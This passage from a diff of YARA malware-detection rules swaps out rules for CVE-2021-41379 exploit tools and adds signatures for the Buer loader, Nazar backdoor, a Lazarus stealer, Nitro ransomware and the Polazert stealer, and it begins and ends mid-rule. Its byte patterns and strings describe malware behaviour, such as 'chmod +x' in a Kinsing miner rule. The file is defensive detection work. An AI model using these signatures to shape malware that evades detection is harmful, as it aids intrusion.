1f 80 00 00 00 00 48 85 c9 74 1a 41 0f b7 14 01 66 85 d2 74 10 66 89 10 48 ff c9 48 83 c0 02 49 83 e8 01 75 e1 4d 85 c0 48 8d 50 fe 48 0f 45 d0 66 44 89 12 33 d2 8d 4a 02 ff 15 [3] 00 48 8b 4b 08 48 8d 54 24 20 ff 15 [3] 00 33 c0 48 8b 8c 24 20 08 00 00 48 33 cc e8 [2] 00 00 48 81 c4 30 08 00 00 5b } - $s4 = { 48 8b c8 ff 15 [3] 00 33 c9 ff 15 [3] 00 48 8b c8 41 b8 04 01 00 00 48 8d 95 30 02 00 00 ff 15 [3] 00 e8 [2] ff ff 48 8b d0 45 33 c0 48 8d 8d 30 02 00 00 ff 15 [3] 00 33 c9 ff 15 [3] 00 48 8d } + $ClassCode1 = { 4c 69 66 45 78 70 2e 6a 61 76 61 0c 00 3f 00 40 } + $ClassCode2 = "java/lang/StringBuilder" fullword ascii + $ClassCode3 = "java/net/URL" fullword ascii + $ClassCode4 = { 6a 61 76 61 2f 6c 61 6e 67 2f 50 72 6f 63 65 73 73 42 75 69 6c 64 65 72 01 00 02 2e 2f } + $Com1 = "chmod +x " fullword ascii + $Com2 = { 53 4b 4c 01 00 02 6c 66 } + $s1 = "kinsing" fullword ascii + $s2 = "getAbsolutePath" fullword ascii condition: - uint16( 0 ) == 0x5A4D and filesize > 25KB and all of ( $s* ) + filesize < 1KB and 3 of ( $ClassCode* ) and 1 of ( $Com* ) and 2 of ( $s* ) } -rule ARKBIRD_SOLG_EXP_CVE_2021_41379_Nov_2021_1 : CVE_2021_41379 FILE +rule ARKBIRD_SOLG_Loader_Buer_Nov_2020_1 : FILE { meta: - description = "Detect exploit tool using CVE-2021-41379" + description = "Detect Buer loader" author = "Arkbird_SOLG" - id = "616e697d-0c62-58bb-9f37-29670a09d886" - date = "2021-11-26" - modified = "2021-11-29" - reference = "https://twitter.com/JAMESWT_MHT/status/1463414554004709384" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-11-26/EXP_CVE_2021_41379_Nov_2021_1.yara#L1-L21" + id = "a2883eca-d576-53ba-aa97-5e3c94f501a5" + date = "2020-12-01" + modified = "2020-12-01" + reference = "https://twitter.com/James_inthe_box/status/1333551419735953409" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-12-01/Buer/Mal_Buer_Nov_2020_1.yar#L35-L64" license_url = "N/A" - logic_hash = "5514ab8f95a5d82453407dd506d55eaf1a0aa22f5ce6a5fb18501ef41645305a" + logic_hash = "96a74b497076be170ce6138189501d8b3a1002bcf07f9d3cf662d64612d04a59" + score = 75 + quality = 55 + tags = "FILE" + hash1 = "2824d4b0e5a502416696b189bd840870a19dfd555b53535f20b0c87c95f4c232" + hash2 = "a98abbce5e84c4c3b67b7af3f9b4dc9704b5af33b6183fb3c192e26b1e0ca005" + hash3 = "ae3ac27e8303519cf04a053a424a0939ecc3905a9a62f33bae3a29f069251b1f" + + strings: + $s1 = "bcdfghklmnpqrstvwxz" fullword ascii + $s2 = "%02x" fullword wide + $s3 = "{%s-%d-%d}" fullword wide + $s4 = "update" fullword wide + $s5 = "]otju}y&Ykx|kx&867?5Ykx|kx&867<" fullword ascii + $s6 = "]otju}y&Ykx|kx&8678&X8" fullword ascii + $s7 = "]otju}y&\\oyzg5Ykx|kx&857>" fullword ascii + $s8 = "]otju}y&>47" fullword ascii + $s9 = "]otju}y&Ykx|kx&8678" fullword ascii + $s10 = "]otju}y&=" fullword ascii + $s11 = "Iutzktz3Z" fullword ascii + $s12 = "g|mnuuq~4jrr" fullword ascii + $s13 = "RegularModules" fullword ascii + $s14 = "]otju}y&>" fullword ascii + + condition: + uint16( 0 ) == 0x5a4d and filesize > 10KB and 8 of them +} +rule ARKBIRD_SOLG_Backdoor_APT_Nazar_April_2020_1 : FILE +{ + meta: + description = "Detect strings used by APT Nazar" + author = "Arkbird_SOLG" + id = "727a1f4e-1371-5a95-bce9-4a4f701a2ac6" + date = "2020-04-29" + modified = "2023-11-22" + reference = "Internal research" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-04-29/Yara_Rule_APT_Bazar-April_2020_1.yar#L3-L29" + license_url = "N/A" + logic_hash = "79028588ac6afd3e3d0d839d10eada9e5382991eebb600b0dae2119bcd7eac93" + score = 75 + quality = 73 + tags = "FILE" + hash1 = "2fe9b76496a9480273357b6d35c012809bfa3ae8976813a7f5f4959402e3fbb6" + + strings: + $s1 = "101;0000;" fullword ascii + $s2 = "hodll.dll" fullword ascii + $s3 = { 70 73 73 64 6B ?? ?? 2E 73 79 73 } + $s4 = { 70 73 73 64 6B ?? ?? 2E 76 78 64 } + $s5 = "##$$%%&&''(())**++,,--..//0123456789:;<=>?" fullword ascii + $s6 = "SYSTEM\\CurrentControlSet\\Services\\VxD\\MSTCP" fullword ascii + $s7 = "removehook" fullword ascii + $s8 = "installhook" fullword ascii + $s9 = "_crt_debugger_hook" fullword ascii + $s10 = "\\Files.txt" fullword ascii + $s11 = "\\report.txt" fullword ascii + $s12 = "\\Programs.txt" fullword ascii + $s13 = "\\Devices.txt" fullword ascii + $s14 = "\\music.mp3" fullword ascii + $s15 = "\\z.png" fullword ascii + + condition: + 12 of them and filesize > 120KB +} + +rule ARKBIRD_SOLG_APT_Lazarus_Stealer_Packed_July_2020_1 : FILE +{ + meta: + description = "Detected Lazarus Strealer Packed by Thermida - July 2020" + author = "Arkbird_SOLG" + id = "325039a4-34c7-5144-93c0-61b013e30606" + date = "2020-07-23" + modified = "2023-11-22" + reference = "https://twitter.com/DeadlyLynn/status/1286233135751995397" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-07-23/Yara_Rule_APT_Lazarus_Stealer_July_2020_1.yar#L36-L66" + license_url = "N/A" + logic_hash = "f062c8f784133ad586490036757ff9d5e8a799e8abac94eeacf60743783e19ed" + score = 75 + quality = 50 + tags = "FILE" + hash1 = "431e6784ef33f2b3963464458e73915875947b11348533544cc16c53af64740f" + hash2 = "70f45a7bbddda140695b953254650486733d8039c63e4eaeb454c1189a97989b" + + strings: + $s1 = "fill_win32_filefunc64" fullword ascii + $s2 = "gzfread" fullword ascii + $s3 = "deflateGetDictionary" fullword ascii + $s4 = "gzfwrite" fullword ascii + $s5 = "adler32_z" fullword ascii + $s6 = "@AJ<LxwBMDNCIFE}#SRV" fullword ascii + $s7 = "uncompress2" fullword ascii + $s8 = "zxyakauj" fullword ascii + $s9 = "gzfwrite" fullword ascii + $s10 = "tphfpzvy" fullword ascii + $s11 = "Dn.dll" fullword ascii + $s12 = ":USER32.8dl" fullword ascii + $s13 = "zlib data compression and ZIP file I/O library" fullword wide + $s14 = "Dn64.dll" fullword ascii + $s15 = "zlibwapi.dll" fullword ascii + $s16 = "CTRL+_" fullword ascii + $s17 = "ZLib.DLL" fullword ascii + $s18 = "(C) 1995-2017 Jean-loup Gailly & Mark Adler-" fullword ascii + $s19 = "zlib data compression and ZIP file I/O library" fullword ascii + $s20 = "DLL support by Alessandro Iacopetti & Gilles Vollant" fullword ascii + + condition: + uint16( 0 ) == 0x5a4d and filesize < 550KB and pe.imphash ( ) == "baa93d47220682c04d92f7797d9224ce" and pe.exports ( "BZ2_bzInit" ) and pe.exports ( "BZ2_bzZip" ) and pe.exports ( "BZ2_bzZipW" ) and pe.exports ( "adler32_z" ) and pe.exports ( "crc32_z" ) and pe.exports ( "deflateGetDictionary" ) and 15 of them +} +rule ARKBIRD_SOLG_RAN_Nitro_Aug_2021_1 : FILE +{ + meta: + description = "Detect Nitro ransomware" + author = "Arkbird_SOLG" + id = "256059b2-1683-5108-8fc8-3cf0b2e7b613" + date = "2021-08-12" + modified = "2021-08-13" + reference = "https://bazaar.abuse.ch/browse/tag/NitroRansomware/" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-08-13/Nitro/RAN_Nitro_Aug_2021_1.yara#L1-L23" + license_url = "N/A" + logic_hash = "c31267cd9bc6c63db8e32b2a0e7518b0432d62f1de52117b9e903fc3370a1f4d" score = 75 quality = 75 - tags = "CVE-2021-41379, FILE" - hash1 = "5d97d3035b2ec1bd16016922899350693cae5f7a3be6cadbe0da34fbfd14b612" - hash2 = "76fe99189fa84e28dd346b1105da77c4dfd3f7f16478b05bfca4c13a75d9fd07" - hash3 = "9e4763ddb6ac4377217c382cf6e61221efca0b0254074a3746ee03d3d421dabd" - hash4 = "a018545b334dc2a0e0c437789a339c608852fa1cedcc88be9713806b0855faea" + tags = "FILE" + hash1 = "1194aebc9a0016084f6966b07a171e4c62ce1b21580d177a876873641692ee13" + hash2 = "6546f0638160cb590b4ead2401fb55d48e10b2ee1808ff0354fff52c9e2f62bf" + hash3 = "89dbea1e4b387325f21c784dc72fcf52599f69e1ded27d1b830ff57ae4831559" + hash4 = "d8e9561612c6e06160d79abde41c7b66e4921a1c041ad5c2658d43050b4fd2d0" + hash5 = "dbed3399932fabe6f7f863403279ac9a6b075aa307dd445df2c7060157d3063b" tlp = "white" adversary = "-" strings: - $s1 = { 50 6a 01 50 68 03 00 08 00 68 [3] 00 ff 15 [3] 00 8b f0 83 fe ff 0f 84 [2] 00 00 6a 00 56 ff 15 88 [2] 00 8d 85 ?? fb ff ff c7 85 ?? fb ff ff 00 00 00 00 50 56 ff 15 [3] 00 8b 3d [3] 00 56 ff d7 ff 15 [3] 00 50 6a 00 68 00 10 10 00 ff 15 [3] 00 8b f0 c7 85 ?? fb ff ff 00 00 00 00 8d 85 ?? fb ff ff 50 68 ff 01 0f 00 56 ff 15 [3] 00 56 ff d7 8d 85 ?? fb ff ff c7 85 ?? fb ff ff 00 00 00 00 50 6a 01 6a 02 6a 00 68 ff 01 0f 00 ff b5 ?? fb ff ff ff 15 [3] 00 ff b5 ?? fb ff ff ff d7 6a 04 8d 85 ?? fb ff ff 50 6a 0c ff b5 ?? fb ff ff ff 15 08 [2] 00 6a 44 8d 85 78 fb ff ff 0f 57 c0 6a 00 50 0f 11 85 bc fb ff ff e8 [2] 00 00 83 c4 0c c7 85 78 fb ff ff 44 00 00 00 b8 05 00 00 00 c7 85 80 fb ff ff [3] 00 66 89 85 a8 fb ff ff 8d 85 e8 fd ff ff 68 04 01 00 00 50 68 [3] 00 ff 15 [3] 00 8d 85 bc fb ff ff 50 8d 85 78 fb ff ff 50 6a 00 6a 00 6a 10 6a 00 6a 00 6a 00 6a 00 8d 85 e8 fd ff ff 50 ff b5 ?? fb ff ff ff 15 [3] 00 ff b5 ?? fb ff ff ff d7 ff b5 bc fb ff ff ff d7 ff b5 c0 fb ff ff ff d7 } - $s2 = { 6a 00 68 80 00 00 04 6a 04 6a 00 6a 01 68 00 00 01 80 8d 85 e8 fd ff ff 50 ff 15 [3] 00 8b 35 [3] 00 a3 [3] 00 8d 85 d8 fb ff ff 50 6a 00 6a 00 68 [2] 40 00 6a 00 6a 00 c7 85 d8 fb ff ff 00 00 00 00 ff d6 8b f8 8b 85 dc fb ff ff 68 [3] 00 05 0c 02 00 00 68 04 01 00 00 50 } - $s3 = { 55 8b ec 81 ec 04 08 00 00 a1 04 [2] 00 33 c5 89 45 fc 0f 10 05 [3] 00 ?? 8b ?? 08 8d 85 2c f8 ff ff [0-1] 0f 11 85 fc f7 ff ff [1-5] 0f 10 05 [3] 00 [3-8] 0f 11 85 0c f8 ff ff [0-1] 0f 10 05 } - $s4 = { 50 ff ?? 68 04 01 00 00 8d 85 e0 fb ff ff 50 6a 00 ff 15 [3] 00 50 ff 15 [3] 00 6a 00 e8 [2] ff ff 50 8d 85 e0 fb ff ff 50 ff 15 84 [2] 00 6a 00 ff 15 [3] 00 8d 85 ?? fb ff ff 50 68 [3] 00 6a 04 6a 00 68 [3] 00 ff 15 [3] 00 ff 15 [3] 00 8b 35 [3] 00 8b 3d [3] 00 } + $s1 = { 1f 1a 28 ?? 00 00 0a [0-2] 72 ?? 14 00 70 28 15 00 00 0a 80 32 00 00 04 28 ?? 00 00 06 7e 32 00 00 04 6f ?? 00 00 0a [0-1] 7e 2f 00 00 04 16 7e 32 00 00 04 7e 30 00 00 04 7e 31 00 00 04 60 28 ?? 00 00 06 26 2a } + $s2 = { 02 [0-5] 72 df 00 00 70 28 1b 00 00 } + $s3 = { 1f 1a 28 ?? 00 00 0a 0a 1f 1c 28 ?? 00 00 0a 0b 7e 21 00 00 04 06 72 ?? 0c 00 70 28 15 00 00 0a 6f 16 00 00 0a [2] ?? 00 } + $s4 = { 7e 4e 00 00 0a 0a [0-1] 72 [2] 00 70 73 ?? 00 00 06 0b [0-1] 07 72 [2] 00 70 6f ?? 00 00 06 [1-3] 8d 7f 00 00 01 25 16 1f 0a 9d 6f ?? 00 00 0a 1c 9a 0a [0-1] de ?? 07 2c ?? 07 6f 42 00 00 0a } + $s5 = { 7e 4e 00 00 0a 0a [0-1] 73 ?? 00 00 0a 0b [0-1] 07 72 ?? 14 00 70 6f ?? 00 00 0a [0-2] 6f ?? 00 00 0a 6f ?? 00 00 0a 6f ?? 00 00 0a [0-2] 6f ?? 00 00 0a 0a } condition: uint16( 0 ) == 0x5A4D and filesize > 25KB and all of ( $s* ) } -rule ARKBIRD_SOLG_EXP_CVE_2021_41379_Nov_2021_3 : CVE_2021_41379 FILE +rule ARKBIRD_SOLG_MAL_Polazert_Apr_2021_1 : FILE { meta: - description = "Detect exploit tool using CVE-2021-41379 (variant 3)" + description = "Detect Polazert stealer" author = "Arkbird_SOLG" - id = "c82578d6-63ca-50f6-b105-321791ec8808" - date = "2021-11-26" - modified = "2021-11-29" - reference = "Internal Research" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-11-26/EXP_CVE_2021_41379_Nov_2021_3.yara#L1-L27" + id = "c7766749-558f-50b8-9054-01f5c4e1238b" + date = "2021-04-11" + modified = "2021-04-11" + reference = "https://bazaar.abuse.ch/browse/tag/Polazert/" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-04-11/Polazert/MAL_Polazert_Apr_2021_1.yar#L1-L21" license_url = "N/A" - logic_hash = "559c4ca0e9ac60e3dd7d5b9a8eb22d887b0b436d4e1fc528e05e7a33ecce0aa6" + logic_hash = "29cefeb3816435e70c706ac78395738f075f6c9f81d63e7295b0d8a6f370b51d" score = 75 quality = 75 - tags = "CVE-2021-41379, FILE" - hash1 = "0dcda614c0128813bf74802f0e98ffd5ec32a40f35ed42778a5ec5984b5adf47" - hash2 = "3c78e07924e1503be1f8785c23d0dd813f04211992cbd6a4955cd0e25c745735" - hash3 = "57ec6e15bcc9c79c118f97103815bd74226d4baae334142890a52fbbc5006f1b" - hash4 = "9d24383e50e61257c565e47ec073cbb2cd751b6f650f0d542b0643dbe6691b3c" - tlp = "white" - adversary = "-" + tags = "FILE" strings: - $s1 = { 8d 0d [2] 03 00 e8 [2] ff ff 41 b8 00 00 00 80 33 d2 33 c9 ff 15 [2] 03 00 48 89 45 08 41 b8 01 00 00 00 48 8d 15 [3] 00 48 8b 4d 08 ff 15 [2] 03 00 48 89 45 28 ff 15 [2] 03 00 3d 24 } - $s2 = { 33 d2 48 8b 4d 08 ff 15 [2] 03 00 c7 45 24 00 00 00 00 48 8d 55 24 48 8b 4d 08 ff 15 [2] 03 00 48 8b 4d 08 ff 15 [2] 03 00 ff 15 [2] 03 00 44 8b c0 33 d2 b9 00 10 10 00 ff 15 [2] 03 00 48 89 45 48 48 c7 45 68 00 00 00 00 4c 8d 45 68 ba ff 01 0f 00 48 8b 4d 48 ff 15 [2] 03 00 48 8b 4d 48 ff 15 [2] 03 00 48 c7 85 88 00 00 00 00 00 00 00 48 8d 85 88 00 00 00 48 89 44 24 28 c7 44 24 20 01 00 00 00 41 b9 02 00 00 00 45 33 c0 ba ff 01 0f 00 48 8b 4d 68 ff 15 [2] 03 00 48 8b 4d 68 ff 15 [2] 03 00 41 b9 04 00 00 00 4c 8d 45 24 ba 0c 00 00 00 48 8b 8d 88 00 00 00 ff 15 [2] 03 00 48 8d 85 a8 00 00 00 48 8b f8 33 c0 b9 18 00 00 00 f3 aa 48 8d 85 e0 00 00 00 48 8b f8 33 c0 b9 68 00 00 00 f3 aa c7 85 e0 00 00 00 68 00 00 00 b8 05 00 00 00 66 89 85 20 01 00 00 48 8d 05 [2] 02 00 48 89 85 f0 00 00 00 41 b8 04 01 00 00 48 8d 95 70 01 00 00 48 8d 0d [2] 02 00 ff 15 [2] 03 00 48 8d 85 a8 00 00 00 48 89 44 24 50 48 8d 85 e0 00 00 00 48 89 44 24 48 48 c7 44 24 40 00 00 00 00 48 c7 44 24 38 00 00 00 00 c7 44 24 30 10 00 00 00 c7 44 24 28 00 00 00 00 48 c7 44 24 20 00 00 00 00 45 33 c9 45 33 c0 48 8d 95 70 01 00 00 48 8b 8d 88 00 00 00 ff 15 [2] 03 00 48 8b 8d 88 00 00 00 ff 15 [2] 03 00 48 8b 8d a8 00 00 00 ff 15 [2] 03 00 48 8b 8d b0 00 00 00 ff 15 [2] 03 00 } - $s3 = { 41 b8 00 00 00 80 33 d2 33 c9 ff 15 [2] 03 00 48 89 45 08 41 b8 01 00 00 00 48 8d 15 [3] 00 48 8b 4d 08 ff 15 [2] 03 00 48 89 45 28 48 8b 4d 08 ff 15 [2] 03 00 48 c7 45 48 00 00 00 00 c7 45 64 00 00 00 00 4c 8d 4d 64 45 33 c0 48 8b 55 48 48 8b 4d 28 ff 15 [2] 03 00 8b 45 64 48 89 85 88 04 00 00 ff 15 [2] 03 00 48 8b 8d 88 04 00 00 4c 8b c1 ba 0c 00 00 00 48 8b c8 ff 15 [2] 03 00 48 89 45 48 4c 8d 4d 64 44 8b 45 64 48 8b 55 48 48 8b 4d 28 ff 15 [2] 03 00 48 8b 45 48 4c 8b 40 10 ba 04 01 00 00 48 8d 8d 90 00 00 00 ff 15 [2] 03 00 ff 15 [2] 03 00 4c 8b 45 48 33 d2 48 8b c8 ff 15 [2] 03 00 48 8b 4d 28 ff 15 [2] 03 00 c7 85 b4 02 00 00 01 00 00 00 c7 85 d4 02 00 00 00 00 00 } - $s4 = { 68 00 00 00 80 6a 00 6a 00 ff 15 24 f0 43 00 3b f4 e8 bf 5b ff ff 89 45 f8 8b f4 6a 01 68 34 84 43 00 8b 45 f8 50 ff 15 20 f0 43 00 3b f4 e8 a2 5b ff ff 89 45 ec 8b f4 ff 15 2c f1 43 00 3b f4 e8 90 5b ff ff 3d 24 } - $s5 = { f3 ab a1 0c d0 43 00 33 c5 89 45 fc b9 d9 10 44 00 e8 55 9c ff ff 8b 45 08 89 45 f4 b9 0c 00 00 00 be a4 7e 43 00 8d bd ec f7 ff ff f3 a5 68 d0 07 00 00 6a 00 8d 85 1c f8 ff ff 50 e8 bd 95 ff } - $s6 = { 8b f4 6a 00 8b 45 f4 50 ff 15 88 f0 43 00 3b f4 e8 8d 67 ff ff c7 45 e8 00 00 00 00 8b f4 8d 45 e8 50 8b 4d f4 51 ff 15 c8 f0 43 00 3b f4 e8 6f 67 ff ff 8b f4 8b 45 f4 50 ff 15 30 f1 43 00 3b f4 e8 5c 67 ff ff 8b f4 ff 15 a4 f0 43 00 3b f4 e8 4d 67 ff ff 8b f4 50 6a 00 68 00 10 10 00 ff 15 b8 f0 43 00 3b f4 e8 36 67 ff ff 89 45 dc c7 45 d0 00 00 00 00 8b f4 8d 45 d0 50 68 ff 01 0f 00 8b 4d dc 51 ff 15 3c f0 43 00 3b f4 e8 10 67 ff ff 8b f4 8b 45 dc 50 ff 15 30 f1 43 00 3b f4 e8 fd 66 ff ff c7 45 c4 00 00 00 00 8b f4 8d 45 c4 50 6a 01 6a 02 6a 00 68 ff 01 0f 00 8b 4d d0 51 ff 15 38 f0 43 00 3b f4 e8 d4 66 ff ff 8b f4 8b 45 d0 50 ff 15 30 f1 43 00 3b f4 e8 c1 66 ff ff 8b f4 6a 04 8d 45 e8 50 6a 0c 8b 4d c4 51 ff 15 2c f0 43 00 3b f4 e8 a6 66 ff ff 33 c0 89 45 ac 89 45 b0 89 45 b4 89 45 b8 6a 44 6a 00 8d 85 60 ff ff ff 50 e8 36 63 ff ff 83 c4 0c c7 85 60 ff ff ff 44 00 00 00 b8 05 00 00 00 66 89 45 90 c7 85 68 ff ff ff a0 86 43 00 8b f4 68 04 01 00 00 8d 85 50 fd ff ff 50 68 c8 86 43 00 ff 15 58 f1 43 00 3b f4 e8 48 66 ff ff 8b f4 8d 45 ac 50 8d 8d } - $s7 = { 40 53 48 81 ec 30 08 00 00 48 8b 05 b8 78 00 00 48 33 c4 48 89 84 24 20 08 00 00 0f 10 05 7e 4e 00 00 48 8b d9 33 d2 0f 10 0d 82 4e 00 00 48 8d 4c 24 50 41 b8 d0 07 00 00 0f 29 44 24 20 0f 10 05 7b 4e 00 00 0f 29 4c 24 30 0f 29 44 24 40 e8 da 42 00 00 4c 8b 03 48 8d 4c 24 20 ba 00 04 00 00 e8 6a f8 ff ff 33 d2 8d 4a 02 ff 15 77 4c 00 00 48 8b 4b 08 48 8d 54 24 20 ff 15 70 4c 00 00 33 c0 48 8b 8c 24 20 08 00 00 48 33 cc e8 de 34 00 00 48 81 c4 30 08 00 00 } - $s8 = { 33 d2 48 8b cb ff 15 c6 2c 00 00 83 65 00 00 48 8d 55 00 48 8b cb ff 15 85 2c 00 00 48 8b cb ff 15 1c 2d 00 00 ff 15 86 2c 00 00 33 d2 b9 00 10 10 00 44 8b c0 ff 15 46 2c 00 00 48 83 64 24 68 00 4c 8d 44 24 68 48 8b c8 ba ff 01 0f 00 48 8b d8 ff 15 82 2b 00 00 48 8b cb ff 15 e1 2c 00 00 48 8b 4c 24 68 48 8d 44 24 60 48 83 64 24 60 00 41 b9 02 00 00 00 48 89 44 24 28 45 33 c0 ba ff 01 0f 00 c7 44 24 20 01 00 00 00 ff 15 80 2b 00 00 48 8b 4c 24 68 ff 15 a5 2c 00 00 48 8b 4c 24 60 4c 8d 45 00 41 b9 04 00 00 00 41 8d 51 08 ff 15 1c 2b 00 00 33 c0 48 8d 4d 90 0f 57 c0 48 89 45 80 33 d2 0f 11 44 24 70 8d 58 68 44 8b c3 e8 5b 25 00 00 8d 43 9d 89 5d 90 66 89 45 d0 48 8d 55 10 48 8d 05 e0 33 00 00 41 b8 04 01 00 00 48 8d 0d f3 33 00 00 48 89 45 a0 ff 15 91 2c 00 00 48 8b 4c 24 60 48 8d 44 24 70 48 89 44 24 50 48 8d 55 10 48 8d 45 90 45 33 c9 48 89 44 24 48 45 33 c0 48 83 64 24 40 00 48 83 64 24 38 00 c7 44 24 30 10 00 00 00 83 64 24 28 00 48 83 64 24 20 00 ff 15 9a 2a 00 00 48 8b 4c 24 60 ff 15 ef 2b 00 00 48 8b 4c 24 70 ff 15 e4 2b 00 00 48 8b 4c 24 78 ff 15 d9 } - $s9 = { 33 d2 33 c9 41 b8 00 00 00 80 ff 15 ba 33 00 00 41 b8 01 00 00 00 48 8d 15 7d 3b 00 00 48 8b c8 48 8b d8 ff 15 d9 33 00 00 48 8b cb 48 8b f8 ff 15 8d 33 00 00 4c 8d 4c 24 20 89 74 24 20 45 33 c0 33 d2 48 8b cf ff 15 ae 33 00 00 8b 5c 24 20 ff 15 64 34 00 00 44 8b c3 ba 0c 00 00 00 48 8b c8 ff 15 33 34 00 00 44 8b 44 24 20 4c 8d 4c 24 20 48 8b d0 48 8b cf 48 8b d8 ff 15 7a 33 00 00 4c 8b 43 10 48 8d 4c 24 30 ba 04 01 00 00 ff 15 46 37 00 00 ff 15 20 34 00 00 4c 8b c3 33 d2 48 8b c8 ff 15 9a 33 00 00 48 8b cf ff 15 11 33 00 00 48 8d 4c 24 30 8b fe ff 15 a4 33 00 00 83 e8 02 } + $seq1 = { 73 ?? 00 00 0a 13 ?? 11 ?? 72 [2] 00 70 6f ?? 00 00 0a 00 11 ?? 72 [2] 00 70 11 ?? 72 [2] 00 70 28 ?? 00 00 0a 6f ?? 00 00 0a 00 11 ?? 17 6f ?? 00 00 0a 00 11 ?? 28 ?? 00 00 0a 26 } + $seq2 = { 1b 8d 0e 00 00 01 13 ?? 11 ?? 16 72 a1 03 00 70 a2 11 ?? 17 08 a2 11 ?? 18 72 53 03 00 70 a2 11 ?? 19 11 ?? a2 11 ?? 1a 72 e7 03 00 70 a2 11 ?? 28 47 00 00 0a 13 0a } + $seq3 = { 02 73 ?? 00 00 0a 28 ?? 00 00 0a 74 2a 00 00 01 [2-4] 72 65 01 00 70 6f ?? 00 00 0a 00 [1-2] 72 65 01 00 70 6f ?? 00 00 0a 00 [1-2] 72 87 01 00 70 6f ?? 00 00 0a 00 03 [1-2] 73 ?? 00 00 0a 13 } + $seq4 = { 1f 0f 8d ?? 00 00 01 13 ?? 11 ?? 16 72 ?? ?? 00 70 a2 11 ?? 17 [1-2] a2 11 ?? 18 72 [2] 00 70 a2 11 ?? 19 28 ?? 00 00 06 a2 11 ?? 1a 72 ?? ?? 00 70 a2 11 ?? 1b 28 ?? 00 00 06 a2 11 ?? 1c 72 ?? ?? 00 70 a2 11 ?? 1d 28 ?? 00 00 06 2d 07 72 ?? ?? 00 70 2b 05 72 ?? ?? 00 70 a2 11 ?? 1e 72 ?? ?? 00 70 a2 11 ?? 1f 09 28 ?? 00 00 06 2d 07 72 ?? ?? 00 70 2b 05 72 ?? ?? 00 70 a2 11 ?? 1f 0a 72 [2] 00 70 a2 11 ?? 1f 0b [1-2] 7b 01 00 00 04 a2 11 ?? 1f 0c 72 [2] 00 70 a2 11 ?? 1f 0d 28 ?? 00 00 06 a2 11 ?? 1f 0e 72 [2] 00 70 a2 11 ?? 28 ?? 00 00 0a 13 } + $seq5 = { 1f ?? 8d ?? 00 00 01 13 ?? 11 ?? 16 72 91 01 00 70 a2 11 ?? 17 1a 8d ?? 00 00 01 13 ?? 11 ?? 16 1f 68 9d 11 ?? 17 1f 77 9d 11 ?? 18 1f 69 9d 11 ?? 19 1f 64 9d 11 ?? 28 ?? 00 00 06 a2 11 ?? 18 72 b7 01 00 70 a2 11 ?? 19 ?? [0-1] a2 11 ?? 1a 72 bf 01 00 70 a2 11 ?? 1b 28 ?? 00 00 06 a2 11 ?? 1c 72 db 01 00 70 a2 11 ?? 1d 28 ?? 00 00 06 a2 11 ?? 1e 72 f7 01 00 70 a2 11 ?? 1f 09 28 ?? 00 00 06 2d 07 72 0d 02 00 70 2b 05 72 15 02 00 70 a2 11 ?? 1f 0a 72 1d 02 00 70 a2 11 ?? 1f 0b 28 ?? 00 00 06 2d 07 72 37 02 00 70 2b 05 72 41 02 00 70 a2 11 ?? 1f 0c 72 4d 02 00 70 a2 11 ?? 1f 0d ?? 7b ?? 00 00 04 a2 11 ?? 1f 0e 72 69 02 00 70 a2 11 ?? 1f 0f 1f 09 8d ?? 00 00 01 13 ?? 11 ?? 16 1f 77 9d 11 ?? 17 1f 6f 9d 11 ?? 18 1f 72 9d 11 ?? 19 1f 6b 9d 11 ?? 1a 1f 67 9d 11 ?? 1b 1f 72 9d 11 ?? 1c 1f 6f 9d 11 ?? 1d 1f 75 9d 11 ?? 1e 1f 70 9d 11 ?? 28 ?? 00 00 06 a2 11 ?? 1f 10 72 b7 01 00 70 a2 11 ?? 1f 11 28 ?? 00 00 06 a2 11 ?? 1f 12 72 71 02 00 70 a2 11 ?? 1f 13 1f 14 8d ?? 00 00 01 13 ?? 11 ?? 16 1f 77 9d 11 ?? 17 1f 69 9d 11 ?? 18 1f 6e 9d 11 ?? 19 1f 33 9d 11 ?? 1a 1f 32 9d 11 ?? 1b 1f 5f 9d 11 ?? 1c 1f 63 9d 11 ?? 1d 1f 6f 9d 11 ?? 1e 1f 6d 9d 11 ?? 1f 09 1f 70 9d 11 ?? 1f 0a 1f 75 9d 11 ?? 1f 0b 1f 74 9d 11 ?? 1f 0c 1f 65 9d 11 ?? 1f 0d 1f 72 9d 11 ?? 1f 0e 1f 73 9d 11 ?? 1f 0f 1f 79 9d 11 ?? 1f 10 1f 73 9d 11 ?? 1f 11 1f 74 9d 11 ?? 1f 12 1f 65 9d 11 ?? 1f 13 1f 6d 9d 11 ?? 28 ?? 00 00 06 1c 8d ?? 00 00 01 13 ?? 11 ?? 16 1f 64 9d 11 ?? 17 1f 6f 9d 11 ?? 18 1f 6d 9d 11 ?? 19 1f 61 9d 11 ?? 1a 1f 69 9d 11 ?? 1b 1f 6e 9d 11 ?? 28 ?? 00 00 06 28 ?? 00 00 06 a2 11 ?? 1f 14 72 69 02 00 70 a2 11 ?? 1f 15 19 8d ?? 00 00 01 13 ?? 11 ?? 16 1f 64 9d 11 ?? 17 1f 6e 9d 11 ?? 18 1f 73 9d 11 ?? 28 ?? 00 00 06 a2 11 ?? 1f 16 72 79 02 00 70 a2 11 ?? 1f 17 1f 14 8d ?? 00 00 01 13 ?? 11 ?? 16 1f 77 9d 11 ?? 17 1f 69 9d 11 ?? 18 1f 6e 9d 11 ?? 19 1f 33 9d 11 ?? 1a 1f 32 9d 11 ?? 1b 1f 5f 9d 11 ?? 1c 1f 63 9d 11 ?? 1d 1f 6f 9d 11 ?? 1e 1f 6d 9d 11 ?? 1f 09 1f 70 9d 11 ?? 1f 0a 1f 75 9d 11 ?? 1f 0b 1f 74 9d 11 ?? 1f 0c 1f 65 9d 11 ?? 1f 0d 1f 72 9d 11 ?? 1f 0e 1f 73 9d 11 ?? 1f 0f 1f 79 9d 11 ?? 1f 10 1f 73 9d 11 ?? 1f 11 1f 74 9d 11 ?? 1f 12 